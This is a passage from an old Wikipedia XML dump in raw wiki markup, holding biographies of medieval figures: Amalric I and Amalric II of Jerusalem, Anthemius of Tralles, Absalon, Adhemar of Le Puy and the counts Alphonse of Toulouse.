The main theatre of conflict of Amalric's reign was [[Fatimid]] [[Egypt]], which was suffering from a series of young [[caliph]]s and civil wars. The crusaders had wanted to conquer Egypt since the days of [[Baldwin I of Jerusalem|Baldwin I]], and even [[Godfrey of Bouillon]] had promised to cede Jerusalem to the [[Latin Patriarch of Jerusalem|Patriarch]] [[Dagobert of Pisa]] if he could capture [[Cairo]]. The capture of Ascalon by Baldwin III made the conquest of Egypt more feasible, and the [[Knights Hospitaller]] began preparing maps of the possible invasion routes. 

===Invasions of Egypt===

Amalric led his first expedition into Egypt in [[1163]], claiming that the Fatimids had not paid the yearly tribute that had begun during the reign of Baldwin III. The vizier, Dirgham, had recently overthrown the vizier Shawar, and marched out to meet Amalric at [[Pelusium]], but was defeated and forced to retreat to [[Bilbeis]]. The Egyptians then opened up the [[Nile]] dams and let the river flood, hoping to prevent Amalric from invading any further. Amalric returned home but Shawar fled to the court of Nur ad-Din, who sent his general [[Shirkuh]] to settle the dispute in [[1164]]. In response Dirgham sought help from Amalric, but Shirkuh and Shawar arrived before Amalric could intervene and Dirgham was killed. Shawar, however, feared that Shirkuh would seize power for himself, and he too looked to Amalric for assistance. Amalric returned to Egypt in 1164 and besieged Shirkuh in Bilbeis until Shirkuh retreated to Damascus. 

Amalric could not follow up on his success in Egypt because Nur ad-Din was active in Syria, having taken [[Bohemund III of Antioch]] and [[Raymond III of Tripoli]] prisoner at the [[Battle of Harim]] during Amalric's absence. Amalric rushed to take up the regency of Antioch and Tripoli and secured Bohemund's ransom in [[1165]] (Raymond remained in prison until [[1173]]). The year [[1166]] was relatively quiet, but Amalric sent envoys to the [[Byzantine Empire]] seeking an alliance and a Byzantine wife, and throughout the year had to deal with raids by Nur ad-Din, who captured [[Banias]]. 

In [[1167]], Nur ad-Din sent Shirkuh back to Egypt and Amalric once again followed him, establishing a camp near [[Cairo]]; Shawar again allied with Amalric as well and a treaty was signed with the caliph [[al-Adid]] himself. Shirkuh encamped on the opposite side of the [[Nile]]. After an indecisive battle, Amalric retreated to Cairo and Shirkuh took his troops to capture [[Alexandria]]; Amalric followed and besieged Shirkuh there, aided by a fleet from Jerusalem. Shirkuh negotiated for peace and Alexandria was handed over to Amalric. However Amalric could not remain there forever, and after exacting an enormous tribute, returned to Jerusalem.

===Byzantine alliance===

After his return in 1167 he married [[Maria Comnena]], a great-grandniece of [[Byzantine emperor]] [[Manuel I Comnenus]]. The negotiations had taken two years, mostly because Amalric insisted that Manuel return [[Antioch]] to Jerusalem. Once Amalric gave up on this point he was able to marry Maria in [[Tyre]] on [[August 29]], [[1167]]. During this time the queen dowager, Baldwin III's widow [[Theodora Comnena|Theodora]], eloped with her cousin [[Andronicus I Comnenus|Andronicus]] to [[Damascus]], and [[Akko|Acre]] reverted back into the royal domain of Jerusalem. It was also around this time that [[William of Tyre]] was promoted to [[archdeacon]] of Tyre, and was recruited by Amalric to write a history of the kingdom. 

In [[1168]] Amalric and Manuel negotiated an alliance against Egypt, and William of Tyre was among the ambassadors sent to [[Constantinople]] to finalize the treaty. Although Amalric still had a peace treaty with Shawar, Shawar was accused of attempting to ally with Nur ad-Din, and Amalric invaded. The [[Knights Hospitaller]] eagerly supported this invasion and may have even been responsible for convincing the king to do it, while the [[Knights Templar (military order)|Knights Templar]] refused to have any part in it. In October, without waiting for any Byzantine assistance (and in fact without even waiting for the ambassadors to return), Amalric invaded and seized Bilbeis. The inhabitants were either massacred or enslaved. Amalric then marched to Cairo, where Shawar offered Amalric two million pieces of gold. Meanwhile Nur ad-Din sent Shirkuh back to Egypt as well, and upon his arrival Amalric retreated. 

===Rise of Saladin===

In January of 1169 Shirkuh had Shawar assassinated. Shirkuh became vizier, although he himself died in March, and was succeeded by his nephew [[Saladin]]. Amalric became alarmed and sought help from the kings and nobles of Europe, but no assistance was forthcoming. Later that year however a Byzantine fleet arrived, and in October Amalric launched yet another invasion and besieged [[Damietta]] by sea and by land. The siege was long and famine broke out in the Christian camp; the Byzantines blamed the crusaders for the failure and vice versa, and a truce was signed with Saladin. Amalric returned home.

Now Jerusalem was surrounded by hostile enemies. In [[1170]] Saladin invaded Jerusalem and took the city of [[Eilat]], severing Jerusalem's connection with the Red Sea. Saladin, who was set up as Vizier of Egypt, was declared Sultan in [[1171]] with the death of the last of the Fatimid dynasty. Saladin's rise to Sultan was an unexpected reprieve for Jerusalem, as Nur ad-Din was now preoccupied with reining in his powerful vassal. Nevertheless, in 1171 Amalric visited Constantinople himself and envoys were sent to the kings of Europe for a second time, but again they were uninterested. Over the next few years the kingdom was threatened by not only Saladin and Nur ad-Din, but also the [[Hashshashin]]; in one episode, the Knights Templar murdered some Hashshashin envoys, leading to further disputes between Amalric and the Templars.

== Death ==

Nur ad-Din died in 1174, upon which Amalric immediately besieged Banias. On the way back after giving up the siege he fell ill from [[dysentery]], which was ameliorated by doctors but turned into a [[fever]] in Jerusalem. William of Tyre explains that &quot;after suffering intolerably from the fever for several days, he ordered physicians of the Greek, Syrian, and other nations noted for skill in diseases to be called and insisted that they give him some purgative remedy.&quot; Neither they nor Latin doctors could help, and he died on July 11, 1174.

Maria Comnena had borne Amalric two daughters: [[Isabella of Jerusalem|Isabella]], who would eventually marry four husbands in turn and succeed as queen, was born in [[1172]]; and a stillborn child some time later. On his deathbed Amalric bequeathed [[Nablus]] to Maria and Isabella, both of whom would retire there. The leprous child Baldwin IV succeeded his father and brought his mother Agnes of Courtenay (now married to her fourth husband) back to court. 

==Physical characteristics==

William was a good friend of Amalric and described him in great detail. &quot;He had a slight impediment in his speech, not serious enough to be considered as a defect but sufficient to render him incapable of ready eloquence. He was far better in counsel than in fluent or ornate speech.&quot; Like his brother Baldwin III, he was more of an academic than a warrior, who studied law and languages in his leisure time: &quot;He was well skilled in the customary law by which the kingdom was governed – in fact, he was second to no one in this respect.&quot; He was probably responsible for an assize making all rear-vassals directly subject to the king and eligible to appear at the Haute Cour. Amalric had an enormous curiosity, and William was reportedly astonished to find Amalric questioning, during an illness, the [[Resurrection of the dead|resurrection]] of the body. He especially enjoyed reading and being read too, spending long hours listening to William read early drafts of his history. He did not enjoy games or spectacles, although he liked to hunt. He was trusting of his officials, perhaps too trusting, and it seems that there were many among the population who despised him, although he refused to take any action against those who insulted him publicly. 

He was tall and fairly handsome; &quot;he had sparkling eyes of medium size; his nose, like that of his brother, was becomingly aquiline; his hair was blond and grew back somewhat from his forehead. A comely and very full beard covered his cheeks and chin. He had a way of laughing immoderately so that his entire body shook.&quot; He did not overeat or drink to excess, but his corpulence grew in his later years, decreasing his interest in military operations; according to William, he &quot;was excessively fat, with breasts like those of a woman hanging down to his waist.&quot;
Amalric was pious and attended mass every day, although he also &quot;is said to have absconded himself without restraint to the sins of the flesh and to have seduced married women…&quot; Despite his piety he taxed the clergy, which they naturally opposed. 

As William says, &quot;he was a man of wisdom and discretion, fully competent to hold the reins of government in the kingdom.&quot; He is considered the last of the &quot;early&quot; [[kings of Jerusalem]], after whom there was no king able to save Jerusalem from its eventual collapse. Within a few years, Emperor Manuel died as well, and Saladin remained the only strong leader in the east. 

== Sources ==
*Bernard Hamilton, &quot;Women in the Crusader States: The Queens of Jerusalem&quot;, in Medieval Women, edited by Derek Baker. Ecclesiatical History Society, 1978
*[[Steven Runciman]], ''A History of the Crusades, vol. II: The Kingdom of Jerusalem''. [[Cambridge University Press]], 1952
*[[William of Tyre]], ''A History of Deeds Done Beyond the Sea'', trans. E.A. Babcock and A.C. Krey. [[Columbia University Press]], 1943
*{{1911}}

{{start box}}
{{succession box | title=[[King of Jerusalem]] | before=[[Baldwin III of Jerusalem|Baldwin III]] | after=[[Baldwin IV of Jerusalem|Baldwin IV]] | years=1162&amp;ndash;1174}}
{{end box}}

[[Category:1136 births|Amalric I of Jerusalem]]
[[Category:1174 deaths|Amalric I of Jerusalem]]
[[Category:Kings of Jerusalem]]

[[de:Amalrich I. (Jerusalem)]]
[[es:Amalarico I de Jerusalén]]
[[fr:Amaury Ier de Jérusalem]]
[[he:אמלריך הראשון מלך ירושלים]]
[[pl:Amalryk I]]
[[zh:阿马尔里克]]</text>
    </revision>
  </page>
  <page>
    <title>Amalric II of Jerusalem</title>
    <id>1872</id>
    <revision>
      <id>41825248</id>
      <timestamp>2006-03-02T00:06:09Z</timestamp>
      <contributor>
        <username>Silverwhistle</username>
        <id>320505</id>
      </contributor>
      <minor />
      <comment>typo correction</comment>
      <text xml:space="preserve">'''Amalric II''' ([[1145]] &amp;ndash; [[April 1]], [[1205]]), [[Kingdom of Jerusalem|King of Jerusalem]] [[1197]]&amp;ndash;[[1205]], was an older brother of [[Guy of Lusignan]].  

The [[Lusignan]] family was noted for its many Crusaders. Amalric and Guy were sons of [[Hugh VIII of Lusignan]], who had himself campaigned in the Holy Land in the [[1160s]]. After being expelled from [[Poitou]] by their overlord, [[Richard I of England|Richard the Lion-hearted]], for the murder of [[Patrick of Salisbury]], 1st [[Earl of Salisbury]], Amalric arrived in Palestine c. [[1174]], Guy possibly later. Amalric married Eschiva, daughter of [[Baldwin of Ibelin]]. He then took service with [[Agnes of Courtenay]], wife of [[Reginald of Sidon]] and mother of [[Baldwin IV of Jerusalem]]. The pro-Ibelin ''Chronicle of [[Ernoul]]'' later claimed that he was her lover, but it is likely that she and Baldwin IV were attempting to separate him from the political influence of his wife's family. He was appointed [[Officers of the Kingdom of Jerusalem|constable of Jerusalem]] in [[1179]]. [[Guy of Lusignan|Guy]] married the king's widowed older sister, [[Sibylla of Jerusalem]] in [[1180]], and so gained a claim to the kingdom of Jerusalem. 

Amalric was among those captured with his brother after the disastrous [[Battle of Hattin]] in [[1187]]. In [[1194]], on the death of Guy, he became [[Kingdom of Cyprus|King of Cyprus]] as Amalric I. By his first wife, Eschiva of Ibelin, he was the father of [[Hugh I of Cyprus]]. After Eschiva's death in [[1197]] he married [[Isabella of Jerusalem|Isabella]], the daughter of [[Amalric I of Jerusalem]] by his second marriage, and became [[kings of Jerusalem|King of Jerusalem]] in right of his wife in January, [[1198]].  

In 1198 he was able to procure a five years' truce with the [[Muslim]]s, owing to the struggle between [[Saladin]]'s brothers and his sons for the inheritance of his territories. The truce was disturbed by raids on both sides, but in [[1204]] it was renewed for six years.  

Amalric died of dysentery (allegedly brought on by &quot;a surfeit of white mullet&quot;) in 1205, just after his son Amalric and just before his wife.  The kingdom of Cyprus passed to [[Hugh I of Cyprus|Hugh]], his son by Eschiva, while the [[kingdom of Jerusalem]] passed to [[Maria of Montferrat|Maria]], the daughter of Isabella by her previous marriage with [[Conrad of Montferrat]].

==Wives and Children==
His first wife was Eschiva of Ibelin, married in [[1174]]. They had six children:
# Bourgogne (c. [[1178]] &amp;ndash; c. [[1210]]), married [[Raymond VI of Toulouse]] [[1193]], div. [[1194]], married Walter of Montbéliard [[1197]]
# Guy, died young
# John, died young
# [[Hugh I of Cyprus]] (c. [[1194]]&amp;ndash;[[1218]])
# Helvis (c. [[1190]] &amp;ndash; c. [[1217]]), married c. 1205 Eudes of Dampiere, Lord of Chargey-le-Grey, div. [[1210]], married September 1210 [[Raymond-Roupen of Antioch]]
# Alix, died young

His second wife was Isabella of Jerusalem, married January, 1198 in [[Akko|Acre]]. They had three children:
# [[Sibylla of Lusignan]] ([[1198]]-[[1230]]), married King [[Leo II of Armenia]]
# [[Melisende of Lusignan]] ([[1200]] &amp;ndash; aft. [[1249]]), married [[January 1]], [[1218]] [[Bohemund IV of Antioch]]
# Amalric ([[1201]]&amp;ndash;[[February 2]], [[1205]], Acre)

{{start box}}
{{succession box | title=[[Kingdom of Cyprus|King of Cyprus]] | before=[[Guy of Lusignan|Guy]] | after=[[Hugh I of Cyprus|Hugh I]] | years=1194&amp;ndash;1205}}
{{succession box | title=[[King of Jerusalem]] | before=[[Isabella of Jerusalem|Isabella]] and [[Henry II of Champagne|Henry II]] | after=[[Maria of Montferrat|Maria]] | years=1197&amp;ndash;1205&lt;br /&gt;(with '''[[Isabella of Jerusalem|Isabella]]''')}}
{{end box}}

==References==
*{{1911}}

[[Category:1145 births|{{{key}}}]]
[[Category:1205 deaths|{{{key}}}]]
[[Category:Kings of Jerusalem]]
[[Category:Kings of Cyprus]]
[[Category:Kings consort]]


[[de:Amalrich I. (Zypern)]]
[[fr:Amaury II de Lusignan]]
[[pl:Amalryk II]]</text>
    </revision>
  </page>
  <page>
    <title>Anthemius of Tralles</title>
    <id>1873</id>
    <revision>
      <id>41523035</id>
      <timestamp>2006-02-27T22:53:13Z</timestamp>
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        <id>161478</id>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/70.187.26.156|70.187.26.156]] ([[User talk:70.187.26.156|Talk]]) to last version by 147.145.40.43</comment>
      <text xml:space="preserve">{{cleanup-date|January 2006}}

'''Anthemius of Tralles''' (c. [[474]] - c. [[534]]) was professor of [[geometry]] at [[Constantinople]] and [[architect]], with [[Isidore of Miletus]], of [[Hagia Sophia]]. Anthemius came from an educated family; he was one of five brothers--the sons of Stephanus, a physician of Tralles--who were all more or less eminent in their respective departments. Dioscorus followed his father's profession in his native place; Alexander became at Rome one of the most celebrated medical men of his time; Olympius was deeply versed in Roman jurisprudence; and Metrodorus was one of the distinguished grammarians of the great Eastern capital.

He is known both a mathematician and an architect. As an architect he is best known for replacing the old church of [[Hagia Sophia]] at [[Constantinople]] in [[532]]; his daring plans for the church strikingly displayed at once his knowledge and his ignorance.  His skills seem also to have extended to engineering for he is said to have been employed to repair flood defences at [[Daras]].

Anthemius had previously written a book on [[conic section]]s, excellent preparation for designing the elaborate vaulting of Hagia Sophia. He compiled a survey of mirror configurations in his work on remarkable mechanical devices which was known to certain of the Arab mathematicians such as [[Al-Haytham]]. 

There are a number of stories told about Anthemius, which we may not be able to ascertain for an indefinite amount of time. Regardless of the veracity, these might be the only clues available as to the character of Anthemius.

It is related of Anthemius that, having a quarrel with his next-door neighbour Zeno, he annoyed him in two ways. First, he made a number of leathern tubes the ends of which he contrived to fix among the joists and flooring of a fine upper-room in which Zeno entertained his friends, and then subjected it to a miniature earthquake by sending steam through the tubes. Secondly, he simulated thunder and lightning, the latter by flashing in Zeno's eyes an intolerable light from a slightly hollowed mirror.

Certain it is that he wrote a treatise on burning-glasses. A fragment of this was published under the title &amp;Pi;&amp;eta;&amp;rho;&amp;iota; &amp;pi;&amp;alpha;&amp;rho;&amp;alpha;&amp;delta;&amp;omicron;&amp;xi;&amp;omega;&amp;nu; &amp;mu;&amp;eta;&amp;chi;&amp;alpha;&amp;nu;&amp;eta;&amp;mu;&amp;alpha;&amp;tau;&amp;omega;&amp;nu; by L. Dupuy in 1777, and also appeared in 1786 in the forty-second volume of the ''Hist. de l'Acad. des Inscr''.; A. Westermann gave a revised edition of it in his &amp;Pi;&amp;alpha;&amp;rho;&amp;alpha;&amp;delta;&amp;omicron;&amp;xi;&amp;omicron;&amp;gamma;&amp;rho;&amp;alpha;&amp;phi;&amp;omicron;&amp;iota;  (''Scriptores rerum mirabilium Graeci''), 1839. In the course of constructions for surfaces to reflect to one and the same point
# all rays in whatever direction passing through another point,
# a set of parallel rays,
Anthemius assumes a property of an ellipse not found in Apollonius (the equality of the angles subtended at a focus by two tangents drawn from a point), and (having given the focus and a double ordinate) he uses the focus and directrix to obtain any number of points on a parabola--the first instance on record of the practical use of the directrix. 

== References ==
* Procopius, ''De Aedific''. i. 1
* Agathias, ''Hist''. v. 6-9
* Gibbon's ''Decline and Fall'', cap. xl.
* {{1911}}
* Biography in ''Dictionary of Scientific Biography'' (New York 1970-1990) 
* [[T L Heath]], ''A History of Greek Mathematics''(2 Vols.) (Oxford, 1921) 
* [[G L Huxley]], ''Anthemius of Tralles'' (Cambridge, Mass., 1959).
[[Category:474 births]]
[[Category:534 deaths]]
[[Category:Byzantine mathematicians]]
[[Category:Byzantine architects]]
[[Category:5th century mathematicians]]
[[Category:6th century mathematicians]]


==External links==

* {{MacTutor Biography|id=Anthemius}}

[[es:Antemio de Tralles]]
[[fr:Anthemius de Tralles]]
[[ja:トラレスのアンテミオス]]
[[pt:Antemio de Tralles]]</text>
    </revision>
  </page>
  <page>
    <title>Absalon</title>
    <id>1874</id>
    <revision>
      <id>34289838</id>
      <timestamp>2006-01-07T22:33:29Z</timestamp>
      <contributor>
        <username>YurikBot</username>
        <id>271058</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: de</comment>
      <text xml:space="preserve">'''Absalon''' (''c''. [[1128]]&amp;ndash;[[March 21]], [[1201]]) was a [[Denmark|Danish]] [[archbishop]] and statesman. He was the son of Asser Rig of Fjenneslev ([[Zealand]]), at whose castle he and his brother Esbjørn (Esbern) were brought up along with the young prince Valdemar, afterwards King [[Valdemar I of Denmark|Valdemar I]].

The Rigs were as pious and enlightened as they were rich.  They founded the monastery of [[Sorø]] as a civilizing centre, and after giving Absalon the rudiments of a sound education at home, which included not only book-lore but every manly and martial exercise, they sent him to the schools of [[Paris]].  Absalon first appears in [[Saxo Grammaticus|Saxo]]'s Chronicle as a fellow-guest at [[Roskilde]], at the banquet given, in [[1157]], by King Sweyn to his rivals Canute and Valdemar.  Both Absalon and Valdemar narrowly escaped assassination at the hands of their treacherous host on this occasion, but at length escaped to [[Jutland]], whither Sweyn followed them, but was defeated and slain at the [[battle of Grathe Heath]].

The same year (1158) which saw Valdemar ascend the Danish throne saw Absalon elected bishop of [[Roskilde]].  Henceforth Absalon was the chief counsellor of Valdemar, and the promoter of that imperial policy which, for three generations, was to give Denmark the dominion of the Baltic.  Briefly, it was Absalon's intention to clear the northern sea of the Wendish pirates, who inhabited that portion of the Baltic [[littoral]] which was later called [[Pomerania]], and ravaged the Danish coasts so unmercifully that at the accession of Valdemar one-third of the realm of Denmark lay wasted and 
depopulated.  The very existence of Denmark demanded the suppression and conversion of these stiff-necked pagan freebooters, and to this double task Absalon devoted the best part of his life.

The first expedition against the [[Wends]], conducted by Absalon in person, set out in [[1160]], but it was not till [[1168]] that the chief Wendish fortress, at Arkona in [[Rügen]], containing the sanctuary of their god [[Svantovit]], was surrendered, the Wends agreeing to accept Danish suzerainty and the Christian religion at the same time. From Arkona Absalon proceeded by sea to Garz, in south Rügen, the political capital of the Wends, and an all but impregnable stronghold.  But the unexpected fall of Arkona had terrified the garrison, which surrendered unconditionally at the first appearance of the Danish ships.  Absalon, with only Sweyn, bishop of [[Aarhus]], and twelve &quot;house carls,&quot; thereupon disembarked, passed between a double row of Wendish warriors, 6000 strong, along the narrow path winding among the morasses, to the gates of the fortress, and, proceeding to the temple of the seven-headed god [[Rugievit]], caused the idol to be hewn down, dragged forth and burnt.  The whole population of Garz was then baptized, and Absalon laid the foundations of twelve churches in the isle of Rügen.  The destruction of 
this chief sally-port of the Wendish pirates enabled Absalon considerably to reduce the Danish fleet.  But he continued to keep a watchful eye over the Baltic, and in [[1170]] destroyed another pirate stronghold, farther eastward, at Dievenow on the isle of [[Wolin]].

Absalon's last military exploit was the annihilation, off Strela ([[Stralsund]]), on Whit-Sunday [[1184]], of a Pomeranian fleet which had attacked Denmark's vassal, [[Jaromir of Rügen]].  He was now but fifty-seven, but his strenuous life had aged him, and he was content to resign 
the command of fleets and armies to younger men, like Duke Valdemar, afterwards King [[Valdemar II of Denmark|Valdemar II]], and to confine himself to the administration of the empire which his genius had created.  

In this sphere Absalon proved himself equally great.  The aim of his policy was to free Denmark from the German yoke.  It was contrary to his advice and warnings that Valdemar I rendered fealty to the emperor [[Frederick I, Holy Roman Emperor|Frederick Barbarossa]] at Dole in [[1162]]; and when, on the accession of [[Canute V of Denmark|Canute V]] in [[1182]], an imperial ambassador arrived at [[Roskilde]] to receive the homage of the new king, Absalon resolutely withstood him. &quot;Return to the emperor,&quot; cried he, &quot;and tell him that the king of Denmark will in no wise show him obedience or do him homage.&quot; 

As the archpastor of Denmark Absalon also rendered his country inestimable services, building churches and monasteries, supporting international religious orders like the [[Cistercians]] and [[Augustinians]], founding schools and doing his utmost to promote civilization and enlightenment.  It was he who held the first Danish Synod at [[Lund]] in [[1167]].  In [[1178]] he became archbishop of [[Lund]], but very unwillingly, only the threat of excommunication from the holy see finally inducing him to accept the pallium.  Absalon died in [[1201]] at the family monastery of Sorø, which he himself had richly embellished and endowed. 

Absalon remains one of the most striking and picturesque figures of the [[Middle Ages]], and was equally great as churchman, statesman and warrior.  That he enjoyed warfare there can be no doubt; and his splendid physique and early training had well fitted him for martial exercises.  He was the best rider in the army and the best swimmer in the fleet.  Yet he was not like the ordinary fighting bishops of the Middle Ages, whose sole concession to their sacred calling was to avoid the &quot;shedding of blood&quot; by using a mace in battle instead of a sword.  Absalon never neglected his ecclesiastical duties, and even his wars were of the nature of Crusades.  Moreover, all his martial energy notwithstanding, his personality must have been singularly winning; for it is said of him that he left behind not a single enemy, all his opponents having long since been converted by him into friends. 

See Saxo, ''[[Gesta Danorum]],'' ed.  Holder (Strassburg, 1886), books xvi.; Steenstrup, ''Danmarks Riges Historie.  Oldtiden og den ældre Middelalder,'' pp. 570-735 (Copenhagen, 1897-1905). 

Absalon's Testamentum, in [[Jacques Paul Migne|Migne]], ''[[Patrologia Latina]]'' 209,18.

''Absalon'' is also a variant form of the (otherwise unrelated) name [[Absalom]].  This variant spelling is best known from the title of the musical work [[Absalon fili mi]].

==References==
*{{1911}}

[[Category:1201 deaths]]
[[Category:Archbishops and bishops of Lund]]

[[da:Absalon]]
[[de:Absalon von Lund]]
[[nl:Absalon]]
[[pl:Absalon (biskup duński)]]
[[sv:Absalon Hvide]]</text>
    </revision>
  </page>
  <page>
    <title>Adhemar of Le Puy</title>
    <id>1875</id>
    <revision>
      <id>40359314</id>
      <timestamp>2006-02-20T01:17:43Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Adhemar''' (also known as '''Adémar''', '''Aimar''', or '''Aelarz''') '''de Monteil''' (d. [[August 1]], [[1098]]), one of the principal personages of the [[First Crusade]], was bishop of [[Puy-en-Velay]] from before [[1087]].  

At the [[Council of Clermont]] in [[1095]], Adhemar showed great zeal for the crusade (there is evidence Urban II had conferred with Adhemar before the council) and having been named [[apostolic legate]] and appointed to lead the crusade by [[Pope Urban II]], he accompanied [[Raymond IV of Toulouse|Raymond IV]], [[count of Toulouse]], to the east. Whilst Raymond and the other leaders often conflicted with each other over the leadership of the crusade, Adhemar was always recognised as the spiritual leader of the crusade.

Adhemar negotiated with [[Alexius I Comnenus]] at [[Constantinople]], reestablished at [[Nicaea]] some discipline among the crusaders, fought a crucial role at the battle of Dorylaeum and was largely responsible for sustaining morale during the [[siege of Antioch]] through various religious rites including fasting and special observances of holy days. After the capture of [[Antioch|the city]] in June, [[1098]], and the subsequent siege led by [[Kerbogha]], Adhemar organized a procession through the streets, and had the gates locked so that the Crusaders, many of whom had begun to panic, would be unable to desert the city. He was extremely skeptical of [[Peter Bartholomew]]'s discovery in Antioch of the [[Holy Lance]], especially because he knew such a relic already existed in Constantinople; however, he was willing to let the Crusader army believe it was real if it raised their morale. 

When Kerbogha was defeated, Adhemar organized a council in an attempt to settle the leadership disputes, but he died on August 1, 1098, probably of [[typhus]]. The disputes among the higher nobles went unsolved, and the march to [[Jerusalem]] was delayed for months. However, the lower-class foot soldiers continued to think of Adhemar as a leader; some of them claimed to have been visited by his ghost during the [[siege of Jerusalem (1099)|siege of Jerusalem]], and reported that Adhemar instructed them to hold another procession around the walls. This was done, and Jerusalem was taken by the Crusaders in [[1099]].

==External links==
*[http://www.fordham.edu/halsall/source/urban2-5vers.html Urban's letter of December 1095 appointing Adhemar]

==References==
*{{1911}}

[[Category:Crusades]]
[[Category:Roman Catholic bishops]]
[[Category:1098 deaths|Adhemar of Le Puy]]

[[de:Adhemar de Monteil]][[nl:Adhemar van Monteil]][[fr:Adhémar de Monteil]]
[[it:Ademaro di Monteil]]
[[pl:Ademar z Monteil]]</text>
    </revision>
  </page>
  <page>
    <title>Adhemar de Chabannes</title>
    <id>1876</id>
    <revision>
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      <comment>redir after merger of 2 articles</comment>
      <text xml:space="preserve">#Redirect [[Adémar de Chabannes]]</text>
    </revision>
  </page>
  <page>
    <title>Albigenses</title>
    <id>1877</id>
    <revision>
      <id>30064977</id>
      <timestamp>2005-12-04T01:18:05Z</timestamp>
      <contributor>
        <username>Tom harrison</username>
        <id>42168</id>
      </contributor>
      <comment>redirect to albigensians</comment>
      <text xml:space="preserve">#redirect [[Albigensians]]</text>
    </revision>
  </page>
  <page>
    <title>Alphonse of Toulouse</title>
    <id>1878</id>
    <revision>
      <id>37515239</id>
      <timestamp>2006-01-31T14:04:24Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
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      <minor />
      <comment>/* References */ wfy</comment>
      <text xml:space="preserve">{{Template:Direct Capetians}}
[[fi:Alphonse (Toulouse]]
[[fr:Alphonse de Poitiers]]

'''Alphonse, [[Counts of Toulouse|Count of Toulouse]] and [[Count of Poitiers|of Poitiers]]''' ([[November 11]], [[1220]] &amp;ndash; [[August 21]], [[1271]]).

[[Image:Blason Alphonse Poitiers.png|thumb|100px|left|Coat of arms of Alphonse: Per pale azure semé-de-lis or (France ancient) dimidiating gules semé of castles or (Castile)]]

Alphonse was a son of [[Louis VIII of France|Louis VIII]], [[King of France]] and [[Blanche of Castile]]. He was a younger brother of [[Louis IX of France]] and an older brother of [[Charles I of Sicily]].

He joined the county of [[Toulouse]] to his ''[[appanage]]'' of [[Poitou]] and [[Rulers of Auvergne|Auvergne]], on the death, in September [[1249]], of [[Raymond VII of Toulouse]], whose daughter [[Joan of Toulouse]] Alphonse had married in [[1237]]. He took part in two crusades with his brother, St Louis, in [[1248]] (the [[Seventh Crusade]]) and in [[1270]] (the [[Eighth Crusade]]).

In [[1252]], on the death of his mother, Blanche of Castile, he was joint regent with [[Charles of Anjou]] until the return of Louis IX.  During that time he took a great part in the negotiations which led to the [[Treaty of Paris (1259)|Treaty of Paris]] in [[1259]], under which King [[Henry III of England]] recognized his loss of continental territory to [[France]] (including [[Normandy]], [[Maine (province of France)|Maine]], [[Anjou]], and [[Poitou]]) in exchange for France withdrawing support from English rebels.

His main work was on his own estates. There he repaired the evils of the [[Albigensian Crusade|Albigensian war]] and made a first attempt at administrative centralization, thus preparing the way for union with the crown. The charter known as &quot;Alphonsine,&quot; granted to the town of [[Riom]], became the code of public law for [[Auvergne (province)|Auvergne]]. Honest and moderate, protecting the middle classes against exactions of the nobles, he exercised a happy influence upon the south, in spite of his naturally despotic character and his continual and pressing need of money.  He is noted for ordering the first recorded local expulsion of [[Jew]]s, when he did so in Poitou in [[1249]].

He died without heirs on his return from the [[Eighth Crusade]], in [[Italy]], probably at [[Savona]], on [[August 21]], 1271. As part of his [[bequest]], he left his lands in the [[Comtat Venaissin]] to the [[Holy See]] and it became a [[Papal States|Papal territory]] in [[1274]], a status that it retained until [[1791]].

==References==
* [[B. Ledain]], ''Histoire d'Alphonse, frère de S. Louis et du comte de Poitou sous son administration (1241-1271)'' (Poitou, 1869)
* [[E. Bourarie]], ''Saint Louis et Alphonse de Poitiers'' (Paris, 1870)
* [[A. Molinier]], ''Etude sur l'administration de S. Louis et d'Alphonse de Poitiers'' (Toulouse, 1880)
* * A. Molinier, ''Correspondance administrative d'Alphonse de Poitiers'' in the ''Collection de documents inedits pour servir à l'histoire de France'' (Paris, 1894 and 1895).
*http://www.davidsconsultants.com/jewishhistory/history.php?startyear=1240&amp;endyear=1249 (Retrieved February 16, 2005)

==External links==
*[http://www.briantimms.com/rolls/WalfordsC1.html Coat of Arms in the Walford Roll]

{{start box}}
{{succession box two to one | before1=&amp;mdash; | title1=[[Count of Poitiers]] | years1=1225&amp;ndash;1271 | after=''to royal domain'' | before2=[[Raymond VII of Toulouse|Raymond VII]] | title2=[[Count of Toulouse]] | years2=1249&amp;ndash;1271&lt;br&gt;''with [[Joan of Toulouse|Joan]]''}}
{{end box}}

{{1911}}

[[Category:1220 births]]
[[Category:1271 deaths]]
[[Category:Counts of Toulouse|Alphonse II]]
[[Category:French nobility|Toulouse, Alphonse of]]</text>
    </revision>
  </page>
  <page>
    <title>Alphonse I of Toulouse</title>
    <id>1879</id>
    <revision>
      <id>40581250</id>
      <timestamp>2006-02-21T16:28:41Z</timestamp>
      <contributor>
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      <comment>disambig</comment>
      <text xml:space="preserve">[[fr:Alphonse Jourdain]]
'''Alphonse I''' ([[1103]]&amp;ndash;[[1148]]), [[Counts of Toulouse|Count of Toulouse]], son of Count [[Raymond of Toulouse|Raymond IV]] by his third wife, [[Elvira of Castile]], was born in the castle of [[Mont-Pelerin]], [[Tripoli, Lebanon|Tripoli]], in today's [[Lebanon]]. He was born while his father was on crusade, attempting to create the [[County of Tripoli]] on the Palestinian coast. He was surnamed ''Jourdain'' after being [[baptized]] in the [[Jordan River]].  

His father died when he was two years old and he remained under the guardianship of his cousin, [[Guillaume Jourdain]], count of [[Cerdagne]] (d. [[1109]]), until he was five. He was then taken to [[Europe]] and his brother [[Bertrand of Toulouse|Bertrand]] gave him the countship of [[Rouergue]]. In his tenth year, upon Bertrand's death ([[1112]]), he succeeded to the countship of Toulouse and marquisate of [[Provence]], but Toulouse was taken from him by [[William IX of Aquitaine|William IX]], [[count of Poitiers]], in [[1114]], who claimed it by right of his wife Philippa of Toulouse, daughter of William IV of Toulouse. He recovered a part in [[1119]], but continued to fight for his possessions until about [[1123]]. When at last successful, he was [[excommunication|excommunicated]] by [[Pope Callixtus II]] for having expelled the monks of [[Saint-Gilles]], who had aided his enemies.

